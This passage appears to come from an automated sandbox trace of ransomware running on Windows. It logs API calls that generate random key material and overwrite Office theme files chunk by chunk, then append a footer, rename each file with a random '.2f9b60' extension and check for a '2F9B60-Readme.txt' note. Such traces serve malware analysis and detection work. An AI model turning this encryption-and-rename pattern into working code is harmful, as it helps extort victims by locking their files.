lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0088.963] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x250df6c0 | out: lpFileSize=0x250df6c0*=83623) returned 1 [0088.963] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x146a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.963] ReadFile (in: hFile=0xa44, lpBuffer=0x250df640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x250df688, lpOverlapped=0x0 | out: lpBuffer=0x250df640*, lpNumberOfBytesRead=0x250df688*=0x4, lpOverlapped=0x0) returned 1 [0088.965] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0088.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0088.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0088.966] NtQuerySystemTime (in: CurrentTime=0x250df580 | out: CurrentTime=0x250df580*=132462176948242000) returned 0x0 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x7037774c [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x1683c42 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x6d0d5f2f [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x7b514169 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x15acdc5e [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x78868582 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x33d832e8 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x57ef572e [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x29683cd9 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x3746f027 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x3d5dde29 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x79d88124 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x116686f [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x5514f8a6 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x1664d564 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x6dd50f5b [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x68708554 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0xb95aacb [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x77b049c2 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x4aea5b12 [0088.966] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x74ad5f57 [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x2a96a74e [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x588da32b [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x76da0e02 [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x59a6a73e [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x3d07168e [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x1566759b [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x2bb16014 [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x7a411d29 [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x28169fcd [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x5f149685 [0088.967] RtlRandomEx (in: Seed=0x250df570 | out: Seed=0x250df570) returned 0x7f1002b7 [0088.976] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.976] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x250df5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x250df5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.979] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0088.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a330) returned 1 [0088.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0088.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0088.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0088.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a240) returned 1 [0088.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.980] WriteFile (in: hFile=0xa44, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x250df5e0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x250df5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0088.984] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.984] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x250df5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x250df5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.996] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0088.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a240) returned 1 [0088.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea8940 [0088.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0088.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.996] WriteFile (in: hFile=0xa44, lpBuffer=0x1cea8940*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x250df5e0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesWritten=0x250df5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea8940) returned 1 [0089.000] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x10aa7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.000] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x250df5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x250df5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.019] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x10aa7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0089.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a120) returned 1 [0089.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea8940 [0089.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0089.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0089.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2d0) returned 1 [0089.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.020] WriteFile (in: hFile=0xa44, lpBuffer=0x1cea8940*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x250df5e0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesWritten=0x250df5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea8940) returned 1 [0089.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f70 [0089.023] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.024] WriteFile (in: hFile=0xa44, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x250df690, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x250df690*=0x148, lpOverlapped=0x0) returned 1 [0089.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0089.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0089.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0089.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0089.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d90 [0089.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d90) returned 1 [0089.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f970 [0089.036] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="90") returned 2 [0089.036] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="d8") returned 2 [0089.036] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="5c") returned 2 [0089.036] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="fd") returned 2 [0089.036] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="33") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="e5") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="43") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="4a") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="e0") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="2b") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="74") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="68") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="db") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="b3") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="26") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="a7") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="42") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="fd") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="8e") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="2b") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="e8") returned 2 [0089.037] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="ce") returned 2 [0089.037] RtlInitAnsiString (in: DestinationString=0x250df708, SourceString="90d85cfd33e5434ae02b7468dbb326a742fd8e2be8ce" | out: DestinationString="90d85cfd33e5434ae02b7468dbb326a742fd8e2be8ce") [0089.037] RtlAnsiStringToUnicodeString (in: DestinationString=0x250df6d8, SourceString="90d85cfd33e5434ae02b7468dbb326a742fd8e2be8ce", AllocateDestinationString=1 | out: DestinationString="90d85cfd33e5434ae02b7468dbb326a742fd8e2be8ce") returned 0x0 [0089.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1f00 [0089.038] wcscat (in: _Dest=0x1b7ad2a0, _Source="90d85cfd33e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\90d85cfd33e") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\90d85cfd33e" [0089.038] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\90d85cfd33e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\90d85cfd33e.2f9b60" [0089.038] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\90d85cfd33e.2f9b60", NtPathName=0x250df6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\90d85cfd33e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106e80 [0089.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0089.039] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x250df718, FileInformation=0x250df728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x250df718, FileInformation=0x250df728) returned 0x0 [0089.039] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x250df718, FileInformation=0x250df728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 [0089.055] FlushFileBuffers (hFile=0xa44) returned 1 [0089.077] CloseHandle (hObject=0xa44) returned 1 [0089.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0089.077] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.078] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b5b0) returned 1 Thread: id = 344 os_tid = 0xe90 [0088.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx")) returned 0x20 [0088.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx", dwFileAttributes=0x20) returned 1 [0088.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.982] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x251af880 | out: lpFileSize=0x251af880*=80625) returned 1 [0088.982] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x13aed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.982] ReadFile (in: hFile=0xa3c, lpBuffer=0x251af800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x251af848, lpOverlapped=0x0 | out: lpBuffer=0x251af800*, lpNumberOfBytesRead=0x251af848*=0x4, lpOverlapped=0x0) returned 1 [0088.985] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0088.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0088.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.985] NtQuerySystemTime (in: CurrentTime=0x251af740 | out: CurrentTime=0x251af740*=132462176948554000) returned 0x0 [0088.985] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x5406aab4 [0088.985] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x163dc9f5 [0088.985] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x6d873e55 [0088.985] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x3f963e37 [0088.985] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x73979a01 [0088.985] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x47ec4787 [0088.985] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x753aaa9d [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x6782027a [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x5acc6b6c [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x4bb98c61 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x4f9eefb7 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x4c7fdafd [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x2e68c354 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x7f8519af [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x321a5f0b [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x11a570b6 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x4aa7a418 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x84218f [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x408cb92b [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x3cf8904e [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x45276861 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x3a3f2337 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x51d12cf1 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x5ec28eb9 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x3bbcffa2 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x24ab038f [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x60c3b9c2 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x509b4781 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x2b4c3f15 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x27f2c8f8 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x25527cb1 [0088.986] RtlRandomEx (in: Seed=0x251af730 | out: Seed=0x251af730) returned 0x767bc397 [0088.995] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.995] ReadFile (in: hFile=0xa3c, lpBuffer=0x1cea4d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x251af7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesRead=0x251af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.997] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceac550 [0088.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0088.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a120) returned 1 [0088.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.998] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ceac550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x251af7a0, lpOverlapped=0x0 | out: lpBuffer=0x1ceac550*, lpNumberOfBytesWritten=0x251af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceac550) returned 1 [0089.010] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.010] ReadFile (in: hFile=0xa3c, lpBuffer=0x1cea4d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x251af7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesRead=0x251af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.021] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0089.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2d0) returned 1 [0089.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceac550 [0089.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0089.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0089.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.022] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ceac550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x251af7a0, lpOverlapped=0x0 | out: lpBuffer=0x1ceac550*, lpNumberOfBytesWritten=0x251af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceac550) returned 1 [0089.024] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xfef1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.024] ReadFile (in: hFile=0xa3c, lpBuffer=0x1cea4d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x251af7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesRead=0x251af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.034] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xfef1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 